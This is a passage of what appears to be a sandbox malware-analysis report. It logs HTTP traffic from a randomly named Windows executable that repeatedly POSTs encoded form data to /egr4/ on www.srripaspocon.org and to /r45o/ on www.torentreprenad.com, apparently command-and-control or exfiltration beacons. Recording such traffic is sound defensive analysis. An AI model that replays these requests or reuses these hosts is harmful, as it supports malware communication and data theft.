                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:28:50.189184904 CEST917INHTTP/1.1 200 OK
                                Server: nginx
                                Date: Wed, 05 Jun 2024 16:28:50 GMT
                                Content-Type: text/html
                                Content-Length: 781
                                Connection: close
                                Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e cf f3 c9 bd d7 d0 d0 c5 d7 b0 ca ce b2 c4 c1 cf b9 ab cb be 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 20 2f 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0d 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b 0d 0a 20 20 20 20 20 [TRUNCATED]
                                Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s);})();</script></head><script language="javascript" type="text/javascript" src="/common.js"></script><script language="javascript" type="text/javascript" src="/tj.js"></script></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                26192.168.2.74973615.204.0.108804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:55.769731045 CEST714OUTPOST /egr4/ HTTP/1.1
                                Host: www.srripaspocon.org
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.srripaspocon.org
                                Referer: http://www.srripaspocon.org/egr4/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 44 71 4f 37 69 67 79 4f 38 7a 75 6f 70 6e 38 54 51 6e 6c 52 42 47 51 78 79 37 65 32 78 51 54 49 64 74 6a 74 79 48 77 2f 39 59 46 72 58 78 36 5a 71 4a 72 71 4f 67 72 70 70 31 74 50 4e 35 4e 54 35 30 2f 4d 55 70 66 71 36 2f 50 39 6e 6d 53 56 49 4d 71 44 6c 42 76 4d 31 76 35 6f 2f 74 72 34 52 7a 71 56 6e 73 57 6a 58 30 4b 47 77 49 32 64 61 58 49 64 65 34 4a 51 5a 4e 4d 41 79 78 38 6c 2b 2f 56 47 77 34 75 42 58 33 44 31 78 63 31 31 41 6a 6d 67 32 38 38 41 33 64 76 4e 39 6d 49 71 43 54 45 30 69 77 69 36 33 73 51 52 44 58 6e 6d 68 46 41 31 44 38 42 4c 35 57 6e 50 6c 5a 6e 55 39 35 72 6c 54 54 55 33 45 75 45 30 39 48 4a 4e 77 77 3d 3d
                                Data Ascii: 9d=DqO7igyO8zuopn8TQnlRBGQxy7e2xQTIdtjtyHw/9YFrXx6ZqJrqOgrpp1tPN5NT50/MUpfq6/P9nmSVIMqDlBvM1v5o/tr4RzqVnsWjX0KGwI2daXIde4JQZNMAyx8l+/VGw4uBX3D1xc11Ajmg288A3dvN9mIqCTE0iwi63sQRDXnmhFA1D8BL5WnPlZnU95rlTTU3EuE09HJNww==
                                Jun 5, 2024 18:28:56.462140083 CEST1236INHTTP/1.1 404 Not Found
                                Connection: close
                                Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
                                Pragma: no-cache
                                Content-Type: text/html
                                Content-Length: 1236
                                Date: Wed, 05 Jun 2024 16:28:56 GMT
                                Server: LiteSpeed
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" hr
                                Jun 5, 2024 18:28:56.462156057 CEST238INData Raw: 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20
                                Data Ascii: ef="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                27192.168.2.74973715.204.0.108804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:28:58.302217007 CEST734OUTPOST /egr4/ HTTP/1.1
                                Host: www.srripaspocon.org
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.srripaspocon.org
                                Referer: http://www.srripaspocon.org/egr4/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 44 71 4f 37 69 67 79 4f 38 7a 75 6f 37 55 6b 54 57 77 4a 52 51 57 51 32 78 37 65 32 36 77 54 4d 64 74 2f 74 79 47 30 56 6f 37 74 72 58 55 57 5a 6b 6f 72 71 4e 67 72 70 6d 56 74 4b 56 5a 4e 61 35 30 79 73 55 70 7a 71 36 2f 62 39 6e 6b 4b 56 49 66 53 45 33 68 76 53 39 50 35 6d 78 4e 72 34 52 7a 71 56 6e 6f 33 30 58 77 75 47 77 37 75 64 56 54 55 61 41 6f 4a 54 50 39 4d 41 32 78 38 70 2b 2f 56 67 77 36 62 6d 58 31 37 31 78 5a 52 31 4f 53 6d 6a 6a 4d 38 61 7a 64 75 78 35 45 45 6d 46 69 31 4b 69 51 54 68 34 4c 45 6f 50 42 36 45 37 6e 4d 5a 64 74 35 77 39 55 44 35 79 2f 36 68 2f 34 76 39 65 78 67 57 62 5a 68 65 77 56 6f 4a 6d 4d 61 70 57 49 61 73 48 61 75 4e 64 6c 77 48 67 46 4d 73 4f 46 38 3d
                                Data Ascii: 9d=DqO7igyO8zuo7UkTWwJRQWQ2x7e26wTMdt/tyG0Vo7trXUWZkorqNgrpmVtKVZNa50ysUpzq6/b9nkKVIfSE3hvS9P5mxNr4RzqVno30XwuGw7udVTUaAoJTP9MA2x8p+/Vgw6bmX171xZR1OSmjjM8azdux5EEmFi1KiQTh4LEoPB6E7nMZdt5w9UD5y/6h/4v9exgWbZhewVoJmMapWIasHauNdlwHgFMsOF8=
                                Jun 5, 2024 18:28:59.200982094 CEST1236INHTTP/1.1 404 Not Found
                                Connection: close
                                Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
                                Pragma: no-cache
                                Content-Type: text/html
                                Content-Length: 1236
                                Date: Wed, 05 Jun 2024 16:28:58 GMT
                                Server: LiteSpeed
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" hr
                                Jun 5, 2024 18:28:59.200992107 CEST238INData Raw: 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20
                                Data Ascii: ef="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>
                                Jun 5, 2024 18:28:59.201189041 CEST238INData Raw: 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20
                                Data Ascii: ef="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                28192.168.2.74973815.204.0.108804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:00.898577929 CEST1747OUTPOST /egr4/ HTTP/1.1
                                Host: www.srripaspocon.org
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.srripaspocon.org
                                Referer: http://www.srripaspocon.org/egr4/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 44 71 4f 37 69 67 79 4f 38 7a 75 6f 37 55 6b 54 57 77 4a 52 51 57 51 32 78 37 65 32 36 77 54 4d 64 74 2f 74 79 47 30 56 6f 39 31 72 55 69 43 5a 72 72 7a 71 4d 67 72 70 34 6c 74 4c 56 5a 4d 61 35 30 61 7a 55 70 50 36 36 39 6a 39 31 56 71 56 5a 65 53 45 39 68 76 53 78 76 35 6e 2f 74 71 69 52 79 61 52 6e 73 54 30 58 77 75 47 77 39 71 64 53 48 49 61 43 6f 4a 51 5a 4e 4d 48 79 78 39 38 2b 2f 4e 65 77 36 66 63 55 45 62 31 30 4a 42 31 4d 67 65 6a 68 73 38 45 30 64 75 70 35 45 4a 34 46 69 34 37 69 51 57 30 34 4d 6f 6f 4e 32 62 4f 76 6b 6f 41 46 4f 56 53 7a 6d 66 69 33 63 32 37 68 62 37 41 42 51 4d 57 66 37 51 6c 35 6c 5a 42 6b 37 2f 71 50 4c 75 52 48 6f 6d 35 62 56 42 71 6c 45 59 6b 55 6c 61 73 5a 4b 7a 64 51 7a 4e 32 42 6a 39 52 4e 78 39 5a 67 41 79 58 62 2f 5a 45 56 36 2f 6f 57 43 4a 31 70 31 5a 6c 47 37 61 77 7a 76 76 57 6b 36 53 6d 37 73 2b 65 4d 52 2b 44 51 76 71 4e 56 76 6f 64 4b 49 72 73 49 34 2b 46 61 34 72 63 51 4d 56 52 6b 6a 51 71 68 74 48 34 4b 64 35 2b 36 72 7a 55 31 42 35 71 55 5a 70 [TRUNCATED]
                                Data Ascii: 9d=DqO7igyO8zuo7UkTWwJRQWQ2x7e26wTMdt/tyG0Vo91rUiCZrrzqMgrp4ltLVZMa50azUpP669j91VqVZeSE9hvSxv5n/tqiRyaRnsT0XwuGw9qdSHIaCoJQZNMHyx98+/New6fcUEb10JB1Mgejhs8E0dup5EJ4Fi47iQW04MooN2bOvkoAFOVSzmfi3c27hb7ABQMWf7Ql5lZBk7/qPLuRHom5bVBqlEYkUlasZKzdQzN2Bj9RNx9ZgAyXb/ZEV6/oWCJ1p1ZlG7awzvvWk6Sm7s+eMR+DQvqNVvodKIrsI4+Fa4rcQMVRkjQqhtH4Kd5+6rzU1B5qUZpBeuzhWeS09lgsmZtvvjg/X/x03d+nSRzPAlkrv4kbsCrhTlXxsM5gc7pfQ1wMe1vt8gy1I2UZ9PkyNeW9zFFFnZFG+qJQm2rqZbdegRMychQVR9xz3ZqLeplvJrWwTXbW6NV0HQxzNvF3Pn1qcq7NKyFq3BnxO8hxaOTqtuXQ8+AwcYXD7w7/tVNet9+gA2EsUwYPgz1XncFVDQdz7zQuMiUAdf+X7H+k0Ly23LADnsD+kMJ1FLlejMuePgsmGJ6rjxBqNOE8wqrLyMqGPfLZckbllowBeAkWQDLaOlXcHcPUT1ae1PUnVgPQ0X1RsnPMBNEte14JxPIudL1HkHXdTgqOLtoox84OSKMrO4642FOPoyIT6ZW/nwqs0hMkIDLMO7Zy9ij8k6TbIwIMmfxFr/mZhe1W/EWQp6wXc5VyRo5rytZcXCrxOMg66YS8sl3mpm21JMOryhWLG4uvkrsPEyZ5HdztzjUOgMEdoKR0vlURWZqPanbw0yvbDepUAKlN6OM6em8X7RtxO8bvkTMguxbZ8LjYsd6iwYmrFdsafECYCvc3lYA4CidCq0jWyKYwWMFnumz8/DtMoKRS17ofJ+VKKrJbluLE6N4qC8e7K0EZb3QLoXUSqV0JwtVpHgRfOdCrKZRtdx4HZNxhDMeoS4OjVfG+Iwhk7 [TRUNCATED]
                                Jun 5, 2024 18:29:01.627319098 CEST1236INHTTP/1.1 404 Not Found
                                Connection: close
                                Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
                                Pragma: no-cache
                                Content-Type: text/html
                                Content-Length: 1236
                                Date: Wed, 05 Jun 2024 16:29:01 GMT
                                Server: LiteSpeed
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" hr
                                Jun 5, 2024 18:29:01.627338886 CEST238INData Raw: 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20
                                Data Ascii: ef="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>
                                Jun 5, 2024 18:29:01.627494097 CEST238INData Raw: 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20
                                Data Ascii: ef="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                29192.168.2.74973915.204.0.108804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:03.428524971 CEST451OUTGET /egr4/?9d=OombhWzhkCuNqFAQBgJWCTIe5Ku7zRL7Rc3Pxm83mLxAAziOmqPFMSLkiV9xX+4t83HRZJys59Cvhm/US+qC1S/tz9V2xJeiTRy2uMqSR06k3ZbbYlILY5knN9gwwCUqzf9nwI+FPnn/&G0a=VFN0vBc0ol1ljnb0 HTTP/1.1
                                Host: www.srripaspocon.org
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:29:04.128642082 CEST1236INHTTP/1.1 404 Not Found
                                Connection: close
                                Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
                                Pragma: no-cache
                                Content-Type: text/html
                                Content-Length: 1236
                                Date: Wed, 05 Jun 2024 16:29:04 GMT
                                Server: LiteSpeed
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" hr
                                Jun 5, 2024 18:29:04.128660917 CEST238INData Raw: 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20
                                Data Ascii: ef="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                30192.168.2.749740194.9.94.86804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:29:17.382042885 CEST720OUTPOST /r45o/ HTTP/1.1
                                Host: www.torentreprenad.com
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.torentreprenad.com
                                Referer: http://www.torentreprenad.com/r45o/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
